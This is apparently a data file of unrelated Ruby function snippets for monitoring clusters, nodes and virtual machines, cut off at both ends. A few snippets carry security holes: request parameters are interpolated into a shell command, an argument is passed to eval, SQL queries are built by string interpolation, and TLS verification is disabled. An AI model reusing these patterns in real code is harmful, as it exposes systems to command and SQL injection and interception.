#systemStats\n swap_total = node['systemStats']['swap_total']\n swap_used = node['systemStats']['swap_used']\n mem_total = node['systemStats']['mem_total']\n mem_free = node['systemStats']['mem_free']\n\n #interestingStats\n cmd_get = node['interestingStats']['cmd_get']\n couch_docs_actual_disk_size = node['interestingStats']['couch_docs_actual_disk_size']\n couch_docs_data_size = node['interestingStats']['couch_docs_data_size']\n curr_items = node['interestingStats']['curr_items']\n curr_items_tot = node['interestingStats']['curr_items_tot']\n ep_bg_fetched = node['interestingStats']['ep_bg_fetched']\n get_hits = node['interestingStats']['get_hits']\n mem_used = node['interestingStats']['mem_used']\n ops = node['interestingStats']['ops']\n vb_replica_curr_items = node['interestingStats']['vb_replica_curr_items']\n\n clusterMembership = node['clusterMembership']\n status = node['status']\n otpNode = node['otpNode']\n otpNode = otpNode.gsub('.','-')\n\n\n if (status =='healthy' && clusterMembership == 'active' )\n @healthy_nodes += 1\n end\n\n if (clusterMembership == 'inactiveFailed' )\n @failover_nodes += 1\n end\n\n #node level systemStats\n write_to_graphite( construct_metric_name(\"#{otpNode}.swap_total\", CONST_NODE_LEVEL), swap_total.to_s, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.swap_used\", CONST_NODE_LEVEL), swap_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.mem_total\", CONST_NODE_LEVEL), mem_total.to_s, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.mem_free\", CONST_NODE_LEVEL), mem_free.to_s, time)\n\n\n #node level interestingStats\n write_to_graphite( construct_metric_name(\"#{otpNode}.cmd_get\", CONST_NODE_LEVEL), cmd_get, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.couch_docs_actual_disk_size\", CONST_NODE_LEVEL), couch_docs_actual_disk_size, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.couch_docs_data_size\", CONST_NODE_LEVEL), couch_docs_data_size, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.curr_items\", CONST_NODE_LEVEL), curr_items)\n write_to_graphite( construct_metric_name(\"#{otpNode}.curr_items_tot\", CONST_NODE_LEVEL), curr_items_tot, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.ep_bg_fetched\", CONST_NODE_LEVEL), ep_bg_fetched, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.get_hits\", CONST_NODE_LEVEL), get_hits, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.mem_used\", CONST_NODE_LEVEL), mem_used, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.ops\", CONST_NODE_LEVEL), ops, time)\n write_to_graphite( construct_metric_name(\"#{otpNode}.vb_replica_curr_items\", CONST_NODE_LEVEL), vb_replica_curr_items, time)\n\n end\n\n\n healthy = nodes.length == @healthy_nodes ? 1 : 0\n write_to_graphite( construct_metric_name('healthy_node_num', CONST_CLUSTER_LEVEL), @healthy_nodes.to_s, time)\n write_to_graphite( construct_metric_name('node_num', CONST_CLUSTER_LEVEL), nodes.length.to_s, time)\n write_to_graphite( construct_metric_name('healthy', CONST_CLUSTER_LEVEL), healthy.to_s, time)\n\n logger.info 'cluster_stats:end: Completed'\n end", "def monitor_hosts_and_vms\n totalmemory = 0\n totalcpu = 0\n\n host_info = \"HYPERVISOR=opennebula\\n\"\n host_info << \"PUBLIC_CLOUD=YES\\n\"\n host_info << \"PRIORITY=-1\\n\"\n host_info << \"CPUSPEED=1000\\n\"\n host_info << \"HOSTNAME=\\\"#{@host['hostname']}\\\"\\n\"\n case @host['host_mon']['type']\n when 'fixed'\n host_info << \"TOTALMEMORY=#{@host['host_mon']['memory']}\\n\"\n host_info << \"TOTALCPU=#{@host['host_mon']['cpu']}\\n\"\n when 'instance_based'\n @host['capacity'].each { |name, size|\n cpu, mem = instance_type_capacity(name)\n totalmemory += mem * size.to_i\n totalcpu += cpu * size.to_i\n }\n host_info << \"TOTALMEMORY=#{totalmemory.round}\\n\"\n host_info << \"TOTALCPU=#{totalcpu}\\n\"\n when 'dynamic'\n host_info << get_remote_quotas\n end\n\n usedcpu = 0\n usedmemory = 0\n\n vms_info = get_all_vms_poll_info\n puts host_info\n puts vms_info\n end", "def erlang_process_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.proc_used<.proc_total*.8'`\n end", "def get_app_node_ips(namespace, app, status = \"Running\")\n pod_ips get_running_app_pods(namespace, app)\nend", "def to_status\n time = Time.now.to_i\n last = @db.execute(\"SELECT value from #{@settings} where key = 'LAST_SYNC'\").flatten[0].to_i\n\n sync_state = last == 0 || time > (last + @conf[:sync].to_i)\n\n status_str = ''\n monitor_ids = []\n\n if sync_state then\n status_str = \"SYNC_STATE=yes\\nMISSING_STATE=#{@conf[:missing_state]}\\n\"\n \n @db.execute(\"REPLACE INTO #{@settings} VALUES ('LAST_SYNC', #{time.to_s})\")\n end\n\n vms = DomainList.state_info(@host, @host_id)\n\n # ----------------------------------------------------------------------\n # report state changes in vms\n # ----------------------------------------------------------------------\n vms.each do |uuid, vm|\n next if vm[:ignore] == true\n\n if vm[:id] == -1\n filter = \"WHERE uuid = '#{uuid}'\"\n else\n # in ec2 id could first be -1 but later added, check also uuid\n filter = \"WHERE id = '#{vm[:id]}' OR uuid = '#{uuid}'\"\n end\n\n vm_db = @db.execute(\"SELECT * FROM #{@dataset} #{filter}\").first\n\n monitor_ids << uuid\n\n if vm_db.nil?\n @db.execute(\n \"INSERT INTO #{@dataset} VALUES (?, ?, ?, ?, ?, ?, ?, ?)\",\n [uuid,\n vm[:id].to_i,\n vm[:name],\n vm[:deploy_id],\n time,\n 0,\n vm[:state],\n @conf[:hyperv]]\n )\n\n status_str << vm_to_status(vm)\n \n next\n end\n\n # Updates timestamp and uuid/deploy_id (e.g. VM recreated in KVM)\n @db.execute(\n \"UPDATE #{@dataset} SET \" \\\n \"state = '#{vm[:state]}', \" \\\n 'missing = 0, ' \\\n \"timestamp = #{time}, \" \\\n \"uuid = '#{uuid}', \" \\\n \"deploy_id = '#{vm[:deploy_id]}' \"\\\n \"#{filter}\"\n )\n\n if sync_state || vm_db[col_name_to_idx('state')] != vm[:state]\n status_str << vm_to_status(vm)\n end\n end\n\n # ----------------------------------------------------------------------\n # check missing VMs\n # ----------------------------------------------------------------------\n uuids = @db.execute(\"SELECT uuid FROM #{@dataset}\").flatten!\n uuids ||= []\n\n (uuids - monitor_ids).each do |uuid|\n vm_db = @db.execute(\n \"SELECT * FROM #{@dataset} WHERE uuid = '#{uuid}'\"\n ).first\n\n next if vm_db.nil?\n\n miss = vm_db[col_name_to_idx('missing')]\n\n if miss >= @conf[:times_missing]\n status_str << vm_db_to_status(vm_db, @conf[:missing_state])\n\n @db.execute(\"DELETE FROM #{@dataset} WHERE uuid = \\\"#{uuid}\\\"\")\n else\n status_str << vm_db_to_status(vm_db) if sync_state\n \n @db.execute(\n \"UPDATE #{@dataset} SET \" \\\n \"timestamp = #{time}, \" \\\n \"missing = #{miss + 1} \" \\\n \"WHERE uuid = '#{uuid}'\"\n )\n end\n end\n\n status_str\n end", "def lb_active?\n self.active? and self.node_type.node_type == 'load balancer' and self.pdus.length == 1 \n end", "def getStatus(topo, domain)\r\n\r\n puts \"-----------------------------------------------\"\r\n if topo.include?(\":\")\r\n filename = topo.delete(\"[]\")\r\n t = Topology[\"#{filename}\"]\r\n else\r\n begin\r\n t = Topology.create(\"mytopo\", eval(topo))\r\n rescue Exception => e\r\n filename = topo.delete(\"[]\")\r\n t = Topology[\"#{filename}\"]\r\n end\r\n end\r\n d = (domain == \"default\") ? OConfig.domain : domain\r\n puts \" Testbed : #{d}\"\r\n url = \"#{OConfig[:tb_config][:default][:cmc_url]}/allStatus?domain=#{d}\"\r\n response = NodeHandler.service_call(url, \"Can't get node status from CMC\")\r\n doc = REXML::Document.new(response.body)\r\n doc.root.elements.each('//detail/*') { |e|\r\n attr = e.attributes\r\n x = attr['x'].to_i\r\n y = attr['y'].to_i\r\n state = attr['state']\r\n if t.nodesArr[x][y] == [x,y]\r\n puts \" Node n_#{x}_#{y} - State: #{state}\" \r\n end\r\n }\r\n puts \"-----------------------------------------------\"\r\nend", "def vms_in_host?(host_id)\n\n host = OpenNebula::Host.new_with_id(host_id,get_one_client)\n\n rc = host.info\n\n if OpenNebula::is_error?(rc)\n puts rc.message\n exit -1\n end\n \n host['host_share/running_vms'].to_i\n\nend", "def ad_hoc_mac_count() 4 end", "def status\n \n # Check the daemon\n %x(cd #{params[:dir]}; #{params[:daemon]} -conf=coin.conf getinfo 2>&1)\n render :json => {:result => :failure} if not $?.success?\n \n # Grep for stratum\n if `ps aux | grep twist[d]` == \"\"\n render :json => {:result => :failure}\n end\n\n # Everything must be working\n render :json => {:result => :success}\n end", "def vcenter_vms_state\n vc_uuid = @vic.vim.serviceContent.about.instanceUuid\n\n view = @vic.vim\n .serviceContent\n .viewManager\n .CreateContainerView(\n {\n :container => @cluster.item,\n :type => ['VirtualMachine'],\n :recursive => true\n }\n )\n\n pc = @vic.vim.serviceContent.propertyCollector\n\n result = pc.RetrieveProperties(\n :specSet => [\n RbVmomi::VIM.PropertyFilterSpec(\n :objectSet => [\n :obj => view,\n :skip => true,\n :selectSet => [\n RbVmomi::VIM.TraversalSpec(\n :name => 'traverseEntities',\n :type => 'ContainerView',\n :path => 'view',\n :skip => false\n )\n ]\n ],\n :propSet => [\n {\n :type => 'VirtualMachine',\n :pathSet => VM_STATE_PROPERTIES\n }\n ]\n )\n ]\n )\n\n vms_hash = {}\n\n result.each do |r|\n next unless r.obj.is_a?(RbVmomi::VIM::VirtualMachine)\n\n vms_hash[r.obj._ref + '_' + vc_uuid] = r.to_hash\n end\n\n view.DestroyView\n\n vmpool = OpenNebula::VirtualMachinePool.new(@onec)\n rc = vmpool.info(-2)\n\n return {} if OpenNebula.is_error?(rc)\n\n vms = {}\n vms_hash.each do |vm_ref, info|\n one_id = -1\n\n # Add OR to retrieve VMs that are using old deploy ID\n ids = vmpool.retrieve_xmlelements(\n \"/VM_POOL/VM[(DEPLOY_ID = '#{vm_ref}')\" \\\n ' or ' \\\n \"(DEPLOY_ID = '#{vm_ref.split('_')[0]}')]\"\n )\n\n ids.select do |vm|\n hid = vm['HISTORY_RECORDS/HISTORY/HID']\n\n if hid\n hid.to_i == @host_id\n else\n false\n end\n end\n\n one_id = ids[0]['ID'] if ids[0]\n next if one_id.to_i == -1\n\n vms[vm_ref] = {\n :id => one_id,\n :name => \"#{info['name']} - #{@cluster.item.name}\",\n :deploy_id => vm_ref,\n :state => STATE_MAP[info['summary.runtime.powerState']] || 'UNKNOWN'\n }\n end\n\n vms\n end", "def nodes_percent\n (nodes_used.to_f / nodes_avail.to_f) * 100\n end", "def status\n cmd = \"#{@vzctl} status #{@ctid}\"\n status = execute(cmd).split(/\\s/)\n Log.debug(\"Container (#{@ctid}) status requested: #{status}\")\n status.drop(2)\n end", "def summary_info(node, counter, tab, extended_info=false)\n if extended_info\n details = {}\n if !node.running?\n details[node] = {coordinates: ['unknown'], lag: 'N/A', gtid_exec: 'unknown'}\n elsif node == @master and !node.is_slave?\n details[node] = {lag: 'N/A'}\n if gtid_mode?\n details[node][:gtid_exec] = node.gtid_executed_from_pool_master_string\n else\n details[node][:coordinates] = node.binlog_coordinates(false)\n end\n else\n lag = node.seconds_behind_master\n lag_str = lag.nil? ? 'NULL' : lag.to_s + 's'\n details[node] = {lag: lag_str}\n if gtid_mode?\n details[node][:gtid_exec] = node.gtid_executed_from_pool_master_string\n else\n details[node][:coordinates] = node.repl_binlog_coordinates(false)\n end\n end\n end\n\n # tabs below takes care of the indentation depending on the level of replication chain.\n tabs = ' ' * (tab + 1)\n\n # Prepare the extended_info if needed\n binlog_pos = ''\n slave_lag = ''\n if extended_info\n slave_lag = \"lag=#{details[node][:lag]}\" unless node == @master && !node.is_slave?\n binlog_pos = gtid_mode? ? details[node][:gtid_exec] : details[node][:coordinates].join(':')\n end\n\n if node == @master and !node.is_slave?\n # Preparing the data_set_size and pool alias text\n alias_text = @aliases.count > 0 ? ' (aliases: ' + @aliases.join(', ') + ')' : ''\n data_size = @master.running? ? \"[#{master.data_set_size(true)}GB]\" : ''\n state_text = (respond_to?(:state) && state != :ready ? \" (state: #{state})\" : '')\n print \"#{name}#{alias_text}#{state_text} #{data_size}\\n\"\n print \"\\tmaster = %-15s %-32s %s\\n\" % [node.ip, node.hostname, binlog_pos]\n\n else\n # Determine the slave type below\n type = node.role.to_s.split('_').first\n format_str = \"%s%-7s slave #{counter + 1} = %-15s %-32s \" + (gtid_mode? ? \"%-46s\" : \"%-26s\") + \" %s\\n\"\n print format_str % [tabs, type, node.ip, node.hostname, binlog_pos, slave_lag]\n end\n end", "def head_management_node\n management_nodes = Node.by_is_management.reverse\n hmn = management_nodes.find {|node| node.status == \"RUNNING\"}\n return hmn\n end", "def find_status\n health = get_es_resource('/_cluster/health')\n health['status'].downcase\n end", "def vpns_with_status(status)\n output = `/usr/sbin/scutil --nc list | /usr/bin/grep -e \"^\\* (#{status})\" | /usr/bin/awk --re-interval '{match($0, /\".*\"/ ); print substr($0, RSTART+1, RLENGTH-2); }'`.strip\n\n output.split(\"\\n\")\nend", "def update_node_info_cache()\n @all_stats = []\n @nodes.each { |node|\n ip = node.private_ip\n acc = AppControllerClient.new(ip, @@secret)\n\n begin\n @all_stats << acc.get_stats()\n rescue FailedNodeException\n Djinn.log_warn(\"Failed to get status update from node at #{ip}, so \" +\n \"not adding it to our cached info.\")\n end\n }\n end", "def net_services\n svc = []\n# svc = cluster_configurations.map{ |cc| cc.net_service(self.node_type.node_type) }\n clusters.each do |cc| \n cc.services.each {|s|\n svc << [s.ha_ip_address , s.ha_port ,\n s.ha_proto, s.localport,\n \"#{net_type}#{cc.vlan}\" # local interface\n ]\n }\n svc << [nil, nil,'icmp', nil, \n \"#{net_type}#{cc.vlan}\" # local interface\n ]\n end\n #puts \"DEBUG:#{hostname}: #{svc.inspect}\" if is_load_balancer? \n if is_server? then \n svc2 = []\n svc.each { |s| \n svc2 << [\"\",\"\",s[2],s[3], mangle(s[4])]\n svc2 << [\"\",\"\",s[2],s[3], s[4]]\n }\n #puts \"DEBUG:#{hostname}: #{svc2.inspect}\" if is_load_balancer? \n svc.concat(svc2)\n end\n # will be wrong for virutal with SANs\n san = san_nics.map { |nic| [nil, nil, 'tcp', 22, nic.port_name] }\n svc.concat(san)\n if node_type.is_loadbalancer?\n ha_svc = ClusterConfiguration.find_all_ha_net_services\n svc.concat(ha_svc)\n # For Testing only - Delete after Feb 28, 2009 or come up with\n # something better\n test_vlans = Cluster.find(:all, :conditions => [\"vlan <= 102 and vlan > 8\"]).map{|c| c.vlan }\n testing_svc = test_vlans.map{|vlan|\n [nil,nil,'tcp',22, \"vlan#{vlan}\"]\n }.uniq\n svc.concat(testing_svc)\n testing_svc = test_vlans.map{|vlan|\n [nil,nil,'icmp',nil, \"vlan#{vlan}\"]\n }.uniq\n svc.concat(testing_svc)\n end\n # Icmp for application vlans\n if node_type.is_virtual?\n icmp = nics.map { |nic| \n [nil,nil,'icmp',nil, nic.port_name] if nic.port_name =~ /eth\\d+/ \n }.compact\n svc.concat(icmp)\n nginx = nics.map { |nic| \n [nil,nil,'tcp', 80, nic.port_name] if nic.lan? and nic.port_name =~ /eth\\d+/ \n }.compact\n svc.concat(nginx)\n end\n if hostname == 'uk01' then\n svc << [nil,nil,'tcp',11301,'eth4000']\n end\n rules = svc.map{|a| a.join(':') }\n if mgmt_ip_address then\n rules.concat( mgmt_ip_address.network.net_service(net_type) )\n end\n rules.map{|a| %Q(\\t\"#{a}\") }.sort.uniq.join(\"\\n\")\n end", "def checkNodes(deployed_containers,nova_ip,quantum_ip,token)\n novaIP = URI.parse(nova_ip)\n nova = Ropenstack::Nova.new(novaIP, token)\n\n quantumIP = URI.parse(quantum_ip)\n quantum = Ropenstack::Quantum.new(quantumIP, token)\n\n deployed_containers.each do |deployed_container|\n logger.info \"Checking nodes for deployed container:\" + deployed_container.id.to_s\n # Check all VMs in the container\n deployed_container.deployed_vms.each do |vm|\n begin\n # Ask openstack for the server details\n server = nova.servers(vm.openstack_id)\n logger.info \"Server \" + vm.openstack_id + \" is up.\"\n rescue\n # If openstack returns an error, delete the vm\n logger.info \"Server \" + vm.openstack_id + \" is down. Deleting from deployed container.\"\n vm.destroy()\n end\n end\n\n # Check all networks in the container\n deployed_container.deployed_networks.each do |network|\n begin\n # Ask openstack for the network details\n net = quantum.networks(network.openstack_id)\n logger.info \"Network \" + network.openstack_id + \" is up.\"\n rescue\n # If openstack returns an error, delete the network\n logger.info \"Network \" + network.openstack_id + \" is down. Deleting from deployed container.\"\n network.destroy()\n end\n end\n\n # Check all routers in the container\n deployed_container.deployed_routers.each do |router|\n begin\n # Ask openstack for the router details\n r = quantum.routers(router.openstack_id)\n logger.info \"Router \" + router.openstack_id + \" is up.\"\n rescue\n # If openstack returns an error, delete the router\n logger.info \"Router \" + router.openstack_id + \" is down. Deleting from deployed container.\"\n router.destroy()\n end\n end\n end\n end", "def poll(container)\n info = Hash.new 0\n \n # state\n states = {'exist' => 'a', 'deleted' => 'd', 'suspended' => 'p'}\n states.default = '-'\n status = container.status\n # state can be either active or deleted\n info[:state] = states[status[0]]\n # however if there is additional status field then it may be also suspended (see vzctl status comamnd)\n info[:state] = states[status[3]] if status.size == 4\n\n # if ct is down there is nothing we can do here\n return info if info[:state] != 'a'\n\n # ONE requires usedcpu to be equal to cpu utilization on all processors\n # ex. usedcpu=200 when there are 2 fully loaded cpus\n # currently i get only average pcpu and multiply it by number of cpus\n out = (container.command \"cat /proc/cpuinfo\").split\n cpu_amount = out.find_all {|line| /processor/ =~ line}.size\n\n out = (container.command \"ps axo pcpu=\").split\n info[:usedcpu] = cpu_amount * out.inject(0.0) {|sum, current|sum + current.to_f}\n \n # net transmit & receive\n out = container.command \"cat /proc/net/dev\"\n # i'am wondering how long this shit will work\n out.each_line do |line|\n net = /\\s*(?<interface>\\w+)\\s*:\\s*(?<receive>\\d+)(\\s+\\d+){7}\\s+(?<transmit>\\d+)/.match(line)\n # omit loopback interface\n next if !net || net[:interface] == \"lo\" \n info[:netrx] += net[:receive].to_i\n info[:nettx] += net[:transmit].to_i\n end\n \n # computer container memory usage\n out = container.command \"free -k\"\n info[:usedmemory] = /Mem:\\s+\\d+\\s+(?<used>\\d+)/.match(out)[:used].to_i\n \n info\n rescue RuntimeError => e\n raise OpenVzDriverError, \"Can't get container #{container.ctid} status. Details: #{e.message}\"\n end", "def calc_total_gpus\n @total_gpus = 0\n #if @cluster_title.eql?(\"Ruby\")\n # # For the Ruby cluster, pbsnodes takes into account two debug nodes with two GPUs along with the other Ruby GPU nodes. The debug nodes will not be considered in the total GPUs and unallocated GPUs calculation, as they cannot be allocated as part of a regular job request with other GPU nodes. Here np = 20 is the number of processors for a GPU node rather than a debug node (np = 16) in a Ruby cluster.\n # @total_gpus = nodes_info.scan(/np = 20/).size\n # else\n # @total_gpus = nodes_info.lines(\"\\n\\n\").size\n #end\n end", "def test_cmd_system_status\n api = Mu::Command::Cmd_system.new\n result = api.cmd_status []\n doc = Nokogiri::XML(result)\n ports = doc.xpath(\"//ports\")\n assert(ports.length >= 5, \"expected to find at least 5 ports, but got #{ports.length}\")\n end", "def measure_cluster_status cluster_name, private_ip\n begin\n connection = Net::HTTP.new(private_ip, 8080) # FIXME port\n request = Net::HTTP::Get.new('/status/cluster', 'Accept' => 'text/xml')\n response = connection.request(request)\n return false unless response.code.to_i == 200\n \n data = Crack::XML.parse(response.body)\n cluster_status = data['ClusterStatus']\n dead_nodes = cluster_status['DeadNodes'] ? cluster_status['DeadNodes']['Node'] : []\n live_nodes = cluster_status['LiveNodes']['Node']\n rescue NoMethodError, SocketError, REXML::ParseException, Errno::ECONNREFUSED => e\n # puts \"#{e.class} -- #{e.message}\"\n # puts e.backtrace\n return false\n end\n\n write({\n :hostname => \"#{cluster_name}-hbase\",\n :hostgroup => self.class::CLUSTER_HOSTGROUPS,\n :application => self.class::CLUSTER_APPLICATIONS,\n :templates => self.class::CLUSTER_TEMPLATES\n }) do |d|\n d << ['requests', cluster_status['requests']]\n d << ['regions', cluster_status['regions']]\n d << ['load', cluster_status['averageLoad']]\n d << ['nodes.dead', dead_nodes.size]\n d << ['nodes.alive', live_nodes.size]\n end\n measure_cluster_tables(cluster_name, data)\n measure_cluster_nodes(cluster_name, live_nodes)\n true\n end", "def get_node_ips\n # This uses the kubernetes-provided service token supplied to every container:\n auth_opts = {\n bearer_token: File.read('/var/run/secrets/kubernetes.io/serviceaccount/token')\n }\n\n ssl_opts = {\n verify_ssl: OpenSSL::SSL::VERIFY_NONE\n }\n\n kube_client = Kubeclient::Client.new ENV['KUBE_API_ENDPOINT'], 'v1', ssl_options: ssl_opts, auth_options: auth_opts\n nodes = kube_client.get_nodes\n nodes.map { |n| n.status.addresses.detect { |address| address['type'] == 'InternalIP' }['address'] }\nend", "def nodes\n state(metrics: \"nodes\").dig(\"nodes\")\n end", "def get_node_status(ip)\n #context = ZMQ::Context.new\n #requester = context.socket(ZMQ::REQ)\n #requester.connect(\"tcp://#{ip}:5555\")\n\n requester = connect_to_node(ip)\n\n server_request = {fn: \"getStatus\"}\n\n requester.send_string server_request.to_json\n\n reply = ''\n requester.recv_string(reply)\n repy_json = JSON.parse(reply)\n repy_json\n end", "def log_nodes_count\n @max_nodes += 1\n end", "def slab_info(flags=\"\")\n # TODO : may go back, make this an option to use sudo or not.\n # You need sudo permission to run this flag.\n slab_info = Vstator::SlabInfo.new \n `sudo vmstat #{flags}`.split(\"\\n\").each do |info|\n next if info == \"Cache Num Total Size Pages\"\n name, num, total, size, pages = info.split\n data = { :name => name, :num => num, :total => total,\n :size => size, :pages => pages }\n slab_info.update(data)\n end\n slab_info\n end", "def handle_info\n blocks = @node.connections.map(&:version).compact.map(&:last_block) rescue nil\n established = @node.connections.select {|c| c.state == :connected }\n info = {\n :blocks => \"#{@node.store.get_depth} (#{(blocks.inject{|a,b| a+=b; a } / blocks.size rescue '?' )})#{@node.store.in_sync? ? ' sync' : ''}\",\n :addrs => \"#{@node.addrs.select{|a| a.alive?}.size} (#{@node.addrs.size})\",\n :connections => \"#{established.size} established (#{established.select(&:outgoing?).size} out, #{established.select(&:incoming?).size} in), #{@node.connections.size - established.size} connecting\",\n :queue => @node.queue.size,\n :inv_queue => @node.inv_queue.size,\n :inv_cache => @node.inv_cache.size,\n :network => @node.config[:network],\n :storage => @node.config[:storage],\n :version => Bitcoin.network[:protocol_version],\n :external_ip => @node.external_ip,\n :uptime => format_uptime(@node.uptime),\n }\n Bitcoin.namecoin? ? {:names => @node.store.db[:names].count}.merge(info) : info\n end", "def get_parallels_vm_status(options)\n message = \"Information:\\tDetermining status of Parallels VM \"+options['name']\n command = \"prlctl list \\\"#{options['name']}\\\" --info |grep '^Status' |grep ^State |cut -f2 -d:\"\n status = execute_command(options,message,command)\n status = status.chomp.gsub(/\\s+/,\"\")\n return status\nend", "def usage\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" computetoken\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" catalogs\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" catalog\".green + \" <catalog id>\".magenta\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" orgvms\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" orgvapps\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdcs\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" vapps\".green\n\tputs \"\\te.g. compute \".green + \"<API-URL-endpoint> <Org name>\".magenta + \" vdc\".green + \" <vdc id>\".magenta + \" networks\".green\n\tputs \"\\n\"\n\nend", "def total_allocatable_job_nodes_cpu\n cpus = job_nodes.map {|n| n['status']['allocatable']['cpu'].to_i}\n cpus.inject {|sum,n| sum + n}\n end", "def get_cluster_ips\n node_ips get_nodes\nend", "def get_node_ready(nodes)\n ready_nodes = nodes.select { |node| check_node_status(node) == \"ready\" }\n idle_nodes = []\n ready_nodes.each { |node| idle_nodes << node if !(DRbObject.new(nil, \"druby://#{node.ip}:9000\").executando_job) }\n idle_nodes.min{|a,b| DRbObject.new(nil, \"druby://#{a.ip}:9000\").cpu <=> DRbObject.new(nil, \"druby://#{b.ip}:9000\").cpu }\n end", "def status_info\n { \n :time => Time.now, :pid => Process.pid, :started => @started,\n :max_conns => @maxconns, :conns => @threads.length, :systimes => Process.times,\n :shutdown => @shutdown, :dead => @dead, :total_conns => @total_conns\n }.inspect\n end", "def available_node_list\n all_nodes = Node.by_name\n return all_nodes.select {|node| node.status == \"RUNNING\"}\n end", "def pacemaker_node_name(n)\n if n[:pacemaker][:is_remote]\n \"remote-#{n[:hostname]}\"\n else\n n[:hostname]\n end\nend", "def generate_lvs_cluster(c)\n svc = c.services.map { |s|\n [s.name, \"#{s.ha_protocol}://\", s.ha_hostname, s.localport ].join(', ') \n }\n [dec2ip(c.fw_mark), c.description, svc.map { |s| \"(#{ s })\" }.join('; ') ]\nend", "def list_size_nix_partitions # nelsongs\n\treturn `fdisk -l | grep /dev | grep -v Disk | awk '{if ($2==\"*\" && $6==\"83\") print $5;else {if ($5==\"83\") print $4}}' | sed s/+//g`.chomp.split\nend", "def number_of_new_nodes\n \t{'New Nodes Added' => aw.node_added_count }\n \tend", "def number_of_new_nodes\n \t{'New Nodes Added' => aw.node_added_count }\n \tend", "def nodetool_cmd(cmd)\n `nodetool -h #{config[:hostname]} -p #{config[:port]} #{cmd}`\n end", "def list_nix_partitions_with_size # nelsongs \n\treturn `fdisk -l | grep /dev | grep -v Disk | awk '{if ($2==\"*\" && $6==\"83\") print $1\":\"$5;else {if ($5==\"83\") print $1\":\"$4}}' | sed s/+//g`.chomp.split\nend", "def status\n dist_service( service_name, 'status' )\n end", "def show_status\n puts \"#{Mirror.count} mirrors\"\n\n Mirror.all.each do |mirror|\n puts \"#{mirror.username}@#{mirror.hostname} -> #{mirror.base_path}\"\n end\n\n nil\nend", "def __get_nodes\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process\")))\n end", "def show_summary(compute_ip_to_cloud_domain_map, clusterstatus_resp_obj)\n if (@cloud_provider != \"azure\")\n cloud_ip_cores = Hash.new\n @zone_to_compute_ip_map.each { |cloud_name, computes|\n cloud_ip_cores[cloud_name] = Hash.new\n computes.each { |ip|\n cloud_ip_cores[cloud_name][ip] = Array.new\n }\n }\n collections = clusterstatus_resp_obj[\"cluster\"][\"collections\"]\n collections.each { |coll_name, coll_info|\n shards = coll_info[\"shards\"]\n shards.each { |shard_name, shard_info|\n replicas = shard_info[\"replicas\"]\n replicas.each { |replica_name, replica_info|\n node_name = replica_info[\"node_name\"]\n ip = node_name.slice(0, node_name.index(':'))\n cloud_domain = compute_ip_to_cloud_domain_map[ip]\n cloud_id = cloud_domain.split('___')[0]\n cloud_name = @cloud_id_to_name_map[cloud_id]\n cloud_ip_cores[cloud_name][ip].push(coll_name + \", \" + shard_name + \", \" + replica_name)\n }\n }\n }\n cloud_numcores_map = Hash.new\n cluster_cores = 0\n cloud_ip_cores.each { |cloud_name, cloud_info|\n core_per_cloud = 0\n cloud_info.each { |ip, cores|\n core_per_cloud = core_per_cloud + cores.length\n }\n cluster_cores = cluster_cores + core_per_cloud\n cloud_numcores_map[cloud_name] = core_per_cloud\n }\n # Show both the summary and the detailed information as both are helpful for verification.\n # Ex: Verify cloud_numcores_map => {\"prod-cdc6\":3,\"prod-cdc5\":3}\n Chef::Log.info(\"Verify cloud_numcores_map => #{cloud_numcores_map.to_json}\")\n # Ex: Verify cloud_ip_cores => {\"prod-cdc5\":{\"ip_11\":[\"qw, shard1, core_node3\"],\"ip_22\":[\"qw, shard2, core_node6\"],\"ip_33\":[qw, shard2, core_node5]},\n # \"prod-cdc6\":{\"ip21\":[\"qw, shard1, core_node1\"],\"ip22\":[\"qw, shard1, core_node2\"],\"ip23\":[\"qw, shard2, core_node4\"]}\n Chef::Log.info(\"Verify cloud_ip_cores => #{cloud_ip_cores.to_json}\")\n\n else\n Chef::Log.info(\"Show summary API is not implemented for Azure Cloud Provider yet.\")\n end\n end", "def config_status\n config = getconfig\n result = {}\n\n result[:autoboot] = (config[:autoboot]) ? config[:autoboot].to_sym : :true\n result[:pool] = config[:pool]\n result[:shares] = config[:shares]\n dir = config['inherit-pkg-dir']\n if dir\n result[:inherit] = dir.map { |dirs| dirs[:dir] }\n end\n datasets = config['dataset']\n if datasets\n result[:dataset] = datasets.map { |dataset| dataset[:name] }\n end\n result[:iptype] = config[:'ip-type'] if config[:'ip-type']\n net = config['net']\n if net\n result[:ip] = net.map do |params|\n if params[:defrouter]\n \"#{params[:physical]}:#{params[:address]}:#{params[:defrouter]}\"\n elsif params[:address]\n \"#{params[:physical]}:#{params[:address]}\"\n else\n params[:physical]\n end\n end\n end\n\n result\n end", "def kubelet_cmd\n [new_resource.kubelet_bin, kubelet_flags].join(' ').strip\nend", "def memory_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.mem_used<.mem_limit*.8'`\n end", "def ping\n exit unless status[1].to_i > 